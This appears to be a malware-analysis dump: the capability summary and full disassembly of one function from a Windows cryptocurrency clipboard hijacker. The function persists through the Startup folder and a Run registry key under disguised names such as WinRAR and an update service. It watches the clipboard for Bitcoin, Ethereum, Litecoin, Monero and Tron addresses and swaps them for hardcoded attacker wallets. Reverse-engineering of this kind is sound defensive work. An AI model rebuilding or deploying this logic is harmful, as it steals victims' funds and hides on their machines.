Function at 0x140001980
Capabilities:
Check mutex on windows
Copy file
Extract resource via kernel32 functions
Open clipboard
Persist via run registry key
Read clipboard data
Set registry value
Write clipboard data

Disassembly:
push rbp
lea rbp, [rsp - 0x750]
sub rsp, 0x850
mov rax, qword [0x14003b038]
xor rax, rsp
mov qword [rbp + 0x720], rax
lea r8, str.g6F3M9gtce2Kledd9
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400019dd
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x720]
xor rcx, rsp
call fcn.14000b980
add rsp, 0x850
pop rbp
ret
mov qword [rsp + 0x860], rbx
mov edx, 0xbe
mov qword [rsp + 0x868], rsi
xor ecx, ecx
mov qword [rsp + 0x870], rdi
mov qword [rsp + 0x848], r12
mov qword [rsp + 0x840], r13
mov r13d, 0xa
mov r8d, r13d
mov qword [rsp + 0x838], r14
mov qword [rsp + 0x830], r15
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor r15d, r15d
mov qword [rbp + 0x20], 0xf
xorps xmm0, xmm0
mov qword [rbp + 0x18], r15
movups xmmword [rbp + 8], xmm0
mov ebx, dword [rax]
xor ecx, ecx
movups xmmword [rbp + 0x28], xmm0
add ebx, 0x1dfb0
mov r14, rax
movups xmmword [rbp - 0x58], xmm0
mov byte [rbp + 8], r15b
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp + 0x38], r15
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp + 0x40], 0xf
mov byte [rbp + 0x28], r15b
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], r15b
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], 0xf
mov byte [rbp - 0x38], r15b
mov qword [rbp - 8], r15
mov qword [rbp], 0xf
mov byte [rbp - 0x18], r15b
call fcn.140012160
cmp ebx, eax
jle 0x140001e3d
lea rdx, [r14 + 4]
lea rcx, [rsp + 0x60]
call fcn.140002d10
cmp qword [rsp + 0x78], 0x10
lea r9, [rsp + 0x60]
mov rdi, qword [rsp + 0x60]
lea rcx, [rbp + 8]
mov rbx, qword [rsp + 0x70]
cmovae r9, rdi
cmp rbx, 0xf
ja 0x140001b0a
mov r8, rbx
mov qword [rbp + 0x18], rbx
mov rdx, r9
call fcn.14000d820
mov byte [rbp + rbx + 8], r15b
jmp 0x140001b17
mov rdx, rbx
call fcn.140003310
mov rdi, qword [rsp + 0x60]
lea rdx, [r14 + 0x104]
lea rcx, [rbp + 0x68]
call fcn.140002d10
cmp qword [rbp + 0x80], 0x10
lea r9, [rbp + 0x68]
mov r15, qword [rbp + 0x68]
lea rcx, [rbp + 0x28]
mov rbx, qword [rbp + 0x78]
cmovae r9, r15
cmp rbx, 0xf
ja 0x140001b5f
mov r8, rbx
mov qword [rbp + 0x38], rbx
mov rdx, r9
call fcn.14000d820
mov byte [rbp + rbx + 0x28], 0
jmp 0x140001b6b
mov rdx, rbx
call fcn.140003310
mov r15, qword [rbp + 0x68]
lea rdx, [r14 + 0x204]
lea rcx, [rbp + 0x48]
call fcn.140002d10
cmp qword [rbp + 0x60], 0x10
lea r9, [rbp + 0x48]
mov r12, qword [rbp + 0x48]
lea rcx, [rbp - 0x38]
mov rbx, qword [rbp + 0x58]
cmovae r9, r12
cmp rbx, 0xf
ja 0x140001bb0
mov r8, rbx
mov qword [rbp - 0x28], rbx
mov rdx, r9
call fcn.14000d820
mov byte [rbp + rbx - 0x38], 0
jmp 0x140001bbc
mov rdx, rbx
call fcn.140003310
mov r12, qword [rbp + 0x48]
lea rdx, [r14 + 0x304]
lea rcx, [rbp + 0xb0]
call fcn.140002d10
cmp qword [rbp + 0xc8], 0x10
lea r9, [rbp + 0xb0]
mov rsi, qword [rbp + 0xb0]
lea rcx, [rbp - 0x58]
mov rbx, qword [rbp + 0xc0]
cmovae r9, rsi
cmp rbx, 0xf
ja 0x140001c10
mov r8, rbx
mov qword [rbp - 0x48], rbx
mov rdx, r9
call fcn.14000d820
mov byte [rbp + rbx - 0x58], 0
jmp 0x140001c1f
mov rdx, rbx
call fcn.140003310
mov rsi, qword [rbp + 0xb0]
lea rdx, [r14 + 0x404]
lea rcx, [rbp + 0x88]
call fcn.140002d10
cmp qword [rbp + 0xa0], 0x10
lea r9, [rbp + 0x88]
mov rbx, qword [rbp + 0x88]
lea rcx, [rbp - 0x18]
mov r13, qword [rbp + 0x98]
cmovae r9, rbx
cmp r13, 0xf
ja 0x140001c74
mov r8, r13
mov qword [rbp - 8], r13
mov rdx, r9
call fcn.14000d820
mov byte [rbp + r13 - 0x18], 0
jmp 0x140001c83
mov rdx, r13
call fcn.140003310
mov rbx, qword [rbp + 0x88]
mov rax, qword [rbp + 0xa0]
cmp rax, 0x10
jb 0x140001cc1
lea rdx, [rax + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140001cb9
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a8c
mov rcx, rbx
call fcn.14000b9a0
mov rax, qword [rbp + 0xc8]
cmp rax, 0x10
jb 0x140001cff
lea rdx, [rax + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140001cf7
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a8c
mov rcx, rsi
call fcn.14000b9a0
mov rax, qword [rbp + 0x60]
cmp rax, 0x10
jb 0x140001d3b
lea rdx, [rax + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140001d33
mov r12, qword [r12 - 8]
add rdx, 0x27
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a8c
mov rcx, r12
call fcn.14000b9a0
mov rax, qword [rbp + 0x80]
cmp rax, 0x10
jb 0x140001d79
lea rdx, [rax + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x140001d71
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a8c
mov rcx, r15
call fcn.14000b9a0
mov rax, qword [rsp + 0x78]
cmp rax, 0x10
jb 0x140001db5
lea rdx, [rax + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140001dad
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a8c
mov rcx, rdi
call fcn.14000b9a0
mov r13d, 0xa
xor r15d, r15d
lea r9, [0x1400359b8]
mov r8d, 0x104
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0xd8]
call fcn.140012150
xorps xmm0, xmm0
lea rax, [rbp + 0xe0]
movups xmmword [rbp - 0x78], xmm0
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001df3
movabs r12, 0x7fffffffffffffff
cmp rbx, r12
ja 0x140002a86
cmp rbx, 0x10
jae 0x1400021ed
mov r8, rbx
mov qword [rbp - 0x68], rbx
lea rdx, [rbp + 0xe0]
mov qword [rbp - 0x60], 0xf
lea rcx, [rbp - 0x78]
call fcn.14000d820
jmp 0x140002285
xorps xmm0, xmm0
mov ecx, 0x30
movups xmmword [rbp + 0x88], xmm0
call fcn.14000b9a8
movups xmm0, xmmword [str.3HSjQe2CZi5m3NmaSeQVEhNibL3FBL1hwQ]
mov r9, rax
mov qword [rbp + 0x88], rax
mov edx, 0x22
mov qword [rbp + 0x98], 0x22
movups xmmword [rax], xmm0
mov qword [rbp + 0xa0], 0x2f
movups xmm1, xmmword [0x1400358d0]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [0x1400358e0]
mov word [rax + 0x20], cx
lea rcx, [rbp + 8]
mov byte [rax + 0x22], r15b
call fcn.140003310
mov ecx, 0x30
mov qword [rbp + 0x50], r15
call fcn.14000b9a8
movups xmm0, xmmword [str.0x59079ec70d6b3e41e645c7f8050cf39a01cf88b5]
mov r9, rax
mov qword [rbp + 0x48], rax
mov edx, 0x2a
mov qword [rbp + 0x58], 0x2a
movups xmmword [rax], xmm0
mov qword [rbp + 0x60], 0x2f
movups xmm1, xmmword [0x140035980]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140035990]
movsd qword [rax + 0x20], xmm0
movzx ecx, word [0x140035998]
mov word [rax + 0x28], cx
lea rcx, [rbp + 0x28]
mov byte [rax + 0x2a], r15b
call fcn.140003310
mov ecx, 0x60
mov qword [rbp + 0x70], r15
call fcn.14000b9a8
movaps xmm0, xmmword [str.89LTqmYFdio6EtueLJQ2x7G8FX5NMyY5G5WcStsAs1yn1vLVL61TvVUB72bLu5fmWkESVtaYvc3VLHsHaVh3UH92Ew8XZQn]
lea rcx, [rbp - 0x38]
mov r9, rax
mov qword [rbp + 0x68], rax
mov edx, 0x5f
mov qword [rbp + 0x78], 0x5f
movups xmmword [rax], xmm0
mov qword [rbp + 0x80], 0x5f
movaps xmm1, xmmword [0x140035920]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140035930]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140035940]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140035950]
movups xmmword [rax + 0x40], xmm0
movsd xmm1, qword [0x140035960]
movsd qword [rax + 0x50], xmm1
mov eax, dword [0x140035968]
mov dword [r9 + 0x58], eax
movzx eax, word [0x14003596c]
mov word [r9 + 0x5c], ax
movzx eax, byte [0x14003596e]
mov byte [r9 + 0x5e], al
mov byte [r9 + 0x5f], r15b
call fcn.140003310
xorps xmm0, xmm0
mov ecx, 0x30
movups xmmword [rbp + 0xb0], xmm0
call fcn.14000b9a8
movups xmm0, xmmword [str.MGvwx4nXWpfLdgo371qjz1zSmXvrdP4EcZ]
mov qword [rbp + 0xb0], rax
mov r9, rax
mov qword [rbp + 0xc0], 0x22
movups xmmword [rax], xmm0
mov qword [rbp + 0xc8], 0x2f
movups xmm1, xmmword [0x1400358f8]
movups xmmword [rax + 0x10], xmm1
movzx r8d, word [0x140035908]
mov word [rax + 0x20], r8w
mov byte [rax + 0x22], r15b
mov edx, 0x22
lea rcx, [rbp - 0x58]
call fcn.140003310
mov ecx, 0x60
mov qword [rsp + 0x68], r15
call fcn.14000b9a8
movaps xmm0, xmmword [str.89LTqmYFdio6EtueLJQ2x7G8FX5NMyY5G5WcStsAs1yn1vLVL61TvVUB72bLu5fmWkESVtaYvc3VLHsHaVh3UH92Ew8XZQn]
lea rcx, [rbp - 0x18]
mov r9, rax
mov qword [rsp + 0x60], rax
mov edx, 0x5f
mov qword [rsp + 0x70], 0x5f
movups xmmword [rax], xmm0
mov qword [rsp + 0x78], 0x5f
movaps xmm1, xmmword [0x140035920]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140035930]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140035940]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140035950]
movups xmmword [rax + 0x40], xmm0
movsd xmm1, qword [0x140035960]
movsd qword [rax + 0x50], xmm1
mov eax, dword [0x140035968]
mov dword [r9 + 0x58], eax
movzx eax, word [0x14003596c]
mov word [r9 + 0x5c], ax
movzx eax, byte [0x14003596e]
mov byte [r9 + 0x5e], al
mov byte [r9 + 0x5f], r15b
call fcn.140003310
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400020e9
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020e4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a8c
call fcn.14000b9a0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x14000212a
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002125
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a8c
call fcn.14000b9a0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x140002168
mov rcx, qword [rbp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002163
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a8c
call fcn.14000b9a0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x1400021a3
mov rcx, qword [rbp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000219e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a8c
call fcn.14000b9a0
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0x10
jb 0x140001dbe
mov rcx, qword [rbp + 0x88]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400021e3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a8c
call fcn.14000b9a0
jmp 0x140001dbe
mov rdi, rbx
or rdi, 0xf
cmp rdi, r12
jbe 0x14000220c
movabs rax, 0x8000000000000000
mov rdi, r12
add rax, 0x27
jmp 0x140002232
mov eax, 0x16
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140002251
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002a80
mov rcx, rax
call fcn.14000b9a8
test rax, rax
je 0x140002a8c
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140002263
test rcx, rcx
je 0x140002260
call fcn.14000b9a8
mov rsi, rax
jmp 0x140002263
mov rsi, r15
mov r8, rbx
mov qword [rbp - 0x78], rsi
lea rdx, [rbp + 0xe0]
mov qword [rbp - 0x68], rbx
mov rcx, rsi
mov qword [rbp - 0x60], rdi
call fcn.14000d820
mov byte [rsi + rbx], 0
mov rdx, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 0x45
jb 0x1400022cc
cmp rdx, 0x10
lea rax, [rcx + 0x45]
lea rbx, [rbp - 0x78]
mov qword [rbp - 0x68], rax
cmovae rbx, qword [rbp - 0x78]
lea rdx, str.MicrosoftWindowsStart_MenuProgramsStartupWinUpdateService64.exe
add rbx, rcx
mov r8d, 0x45
mov rcx, rbx
call fcn.14000d820
mov byte [rbx + 0x45], 0
jmp 0x1400022f0
movzx r8d, byte [rsp + 0x30]
lea r9, str.MicrosoftWindowsStart_MenuProgramsStartupWinUpdateService64.exe
mov edx, 0x45
mov qword [rsp + 0x20], 0x45
lea rcx, [rbp - 0x78]
call fcn.140003450
mov r8d, 0x104
lea rdx, [rbp + 0x1f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov r10, qword [rbp - 0x60]
lea rax, [rbp - 0x78]
mov r9, qword [rbp - 0x78]
lea r8, [rbp + 0x1f0]
cmp r10, 0x10
cmovae rax, r9
sub r8, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002336
inc rax
test ecx, ecx
jne 0x140002323
test edx, edx
je 0x140002360
cmp byte [r14 + 0x505], 0
je 0x140002360
cmp r10, 0x10
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x1f0]
cmovae rdx, r9
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea r9, str.APPDATA
mov r8d, 0x104
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0xd8]
call fcn.140012148
xorps xmm0, xmm0
lea rax, [rbp + 0x300]
movups xmmword [rsp + 0x40], xmm0
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140002396
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x140002a86
cmp rbx, 8
jae 0x1400023e1
lea r8, [rbx + rbx]
mov qword [rsp + 0x50], rbx
lea rdx, [rbp + 0x300]
mov qword [rsp + 0x58], 7
lea rcx, [rsp + 0x40]
call fcn.14000d820
jmp 0x14000247e
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x1400023f3
lea rcx, [r12 + r12]
jmp 0x140002417
cmp rax, 0xa
mov rsi, rax
cmovb rsi, r13
lea rcx, [rsi + 1]
cmp rcx, r12
ja 0x140002a80
add rcx, rcx
cmp rcx, 0x1000
jb 0x140002443
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002a80
mov rcx, rax
call fcn.14000b9a8
test rax, rax
je 0x140002a8c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002455
test rcx, rcx
je 0x140002452
call fcn.14000b9a8
mov rdi, rax
jmp 0x140002455
mov rdi, r15
mov qword [rsp + 0x50], rbx
lea rdx, [rbp + 0x300]
add rbx, rbx
mov qword [rsp + 0x40], rdi
mov r8, rbx
mov qword [rsp + 0x58], rsi
mov rcx, rdi
call fcn.14000d820
mov word [rdi + rbx], r15w
mov rcx, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x50]
mov rax, rcx
sub rax, rdi
cmp rax, 0x12
jb 0x1400024ca
cmp rcx, 8
lea rax, [rdi + 0x12]
lea rbx, [rsp + 0x40]
mov qword [rsp + 0x50], rax
cmovae rbx, qword [rsp + 0x40]
lea rdx, str.WinRARWinRAR.exe
mov r8d, 0x24
lea rcx, [rbx + rdi*2]
call fcn.14000d820
mov word [rbx + rdi*2 + 0x24], r15w
jmp 0x1400024ef
movzx r8d, byte [rsp + 0x30]
lea r9, str.WinRARWinRAR.exe
mov edx, 0x12
mov qword [rsp + 0x20], 0x12
lea rcx, [rsp + 0x40]
call fcn.140003130
mov r8d, 0x104
lea rdx, [rbp + 0x510]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp qword [rsp + 0x58], 8
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x510]
cmovae rdx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140002551
cmp byte [r14 + 0x504], 0
je 0x140002551
cmp qword [rsp + 0x58], 8
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x510]
cmovae rdx, qword [rsp + 0x40]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov qword [rsp + 0x38], r15
cmp byte [r14 + 0x504], 0
je 0x1400025b9
lea r8, [rsp + 0x38]
mov rcx, 0xffffffff80000001
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov eax, dword [rsp + 0x50]
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
lea rdx, str.RARLabService
mov r9d, 1
cmovae rcx, qword [rsp + 0x40]
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov r14, qword [rbp + 0x20]
mov r15, qword [rbp + 8]
mov r12, qword [rbp + 0x40]
mov r13, qword [rbp + 0x28]
nop dword [rax]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rdi, rax
test rax, rax
jne 0x14000261c
nop dword [rax + rax]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, 0x19
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rdi, rax
test rax, rax
je 0x1400025f0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
lea rdx, str._bc1_13___a_zA_HJ_NP_Z0_9_25_39_
mov rbx, rax
lea rcx, [rsp + 0x60]
call fcn.140002aa0
mov rcx, 0xffffffffffffffff
cmp byte [rbx + rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140002640
lea rdx, [rcx + rbx]
mov dword [rsp + 0x20], 0x10
mov rcx, rbx
mov r9, rax
call fcn.140003c20
lea rcx, [rsp + 0x60]
movzx esi, al
call fcn.140002e60
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x140002691
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x140002691
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
test sil, sil
je 0x1400026f1
cmp r14, 0x10
lea rax, [rbp + 8]
mov r8, rbx
cmovae rax, r15
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400026c3
inc rax
test ecx, ecx
jne 0x1400026b0
test edx, edx
je 0x1400026f1
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdi, qword [rbp + 0x18]
mov ecx, 2
lea rdx, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
cmp r14, 0x10
lea rbx, [rbp + 8]
cmovae rbx, r15
jmp 0x140002a2d
lea rdx, str.0x_a_fA_F0_9_40_
lea rcx, [rsp + 0x60]
call fcn.140002aa0
mov rcx, 0xffffffffffffffff
nop dword [rax]
cmp byte [rbx + rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140002710
lea rdx, [rcx + rbx]
mov dword [rsp + 0x20], 0x10
mov rcx, rbx
mov r9, rax
call fcn.140003c20
lea rcx, [rsp + 0x60]
movzx esi, al
call fcn.140002e60
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x140002761
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x140002761
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
test sil, sil
je 0x1400027c1
cmp r12, 0x10
lea rax, [rbp + 0x28]
mov r8, rbx
cmovae rax, r13
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002793
inc rax
test ecx, ecx
jne 0x140002780
test edx, edx
je 0x1400027c1
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdi, qword [rbp + 0x38]
mov ecx, 2
lea rdx, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
cmp r12, 0x10
lea rbx, [rbp + 0x28]
cmovae rbx, r13
jmp 0x140002a2d
lea rdx, str._LM3__a_km_zA_HJ_NP_Z1_9_26_33_
lea rcx, [rsp + 0x60]
call fcn.140002aa0
mov rcx, 0xffffffffffffffff
nop dword [rax]
cmp byte [rbx + rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1400027e0
lea rdx, [rcx + rbx]
mov dword [rsp + 0x20], 0x10
mov rcx, rbx
mov r9, rax
call fcn.140003c20
lea rcx, [rsp + 0x60]
movzx esi, al
call fcn.140002e60
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x140002831
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x140002831
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
test sil, sil
je 0x140002893
cmp qword [rbp - 0x40], 0x10
lea rax, [rbp - 0x58]
mov r8, rbx
cmovae rax, qword [rbp - 0x58]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002863
inc rax
test ecx, ecx
jne 0x140002850
test edx, edx
je 0x140002893
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdi, qword [rbp - 0x48]
mov ecx, 2
lea rdx, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
cmp qword [rbp - 0x40], 0x10
lea rbx, [rbp - 0x58]
cmovae rbx, qword [rbp - 0x58]
jmp 0x140002a2d
lea rdx, str._48___0_9__A_B___._93
lea rcx, [rsp + 0x60]
call fcn.140002aa0
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
cmp byte [rbx + rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1400028b0
lea rdx, [rcx + rbx]
mov dword [rsp + 0x20], 0x10
mov rcx, rbx
mov r9, rax
call fcn.140003c20
lea rcx, [rsp + 0x60]
movzx esi, al
call fcn.140002e60
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x140002901
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x140002901
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
test sil, sil
je 0x140002963
cmp qword [rbp - 0x20], 0x10
lea rax, [rbp - 0x38]
mov r8, rbx
cmovae rax, qword [rbp - 0x38]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002933
inc rax
test ecx, ecx
jne 0x140002920
test edx, edx
je 0x140002963
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdi, qword [rbp - 0x28]
mov ecx, 2
lea rdx, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
cmp qword [rbp - 0x20], 0x10
lea rbx, [rbp - 0x38]
cmovae rbx, qword [rbp - 0x38]
jmp 0x140002a2d
lea rdx, str.T_A_Za_z1_9_33
lea rcx, [rsp + 0x60]
call fcn.140002aa0
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
cmp byte [rbx + rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140002980
lea rdx, [rcx + rbx]
mov dword [rsp + 0x20], 0x10
mov rcx, rbx
mov r9, rax
call fcn.140003c20
lea rcx, [rsp + 0x60]
movzx esi, al
call fcn.140002e60
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x1400029d1
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x1400029d1
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
test sil, sil
je 0x140002a61
cmp qword [rbp], 0x10
lea rax, [rbp - 0x18]
cmovae rax, qword [rbp - 0x18]
sub rbx, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + rbx]
sub edx, ecx
jne 0x140002a02
inc rax
test ecx, ecx
jne 0x1400029f0
test edx, edx
je 0x140002a61
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdi, qword [rbp - 8]
mov ecx, 2
lea rdx, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
cmp qword [rbp], 0x10
lea rbx, [rbp - 0x18]
cmovae rbx, qword [rbp - 0x18]
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
lea r8, [rdi + 1]
mov rdx, rbx
mov rcx, rax
call fcn.14000d820
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rsi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
jmp 0x140002a6a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, 0x19
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400025d0
call fcn.1400011b0
int3
call fcn.140001250
int3
call fcn.1400125f4
int3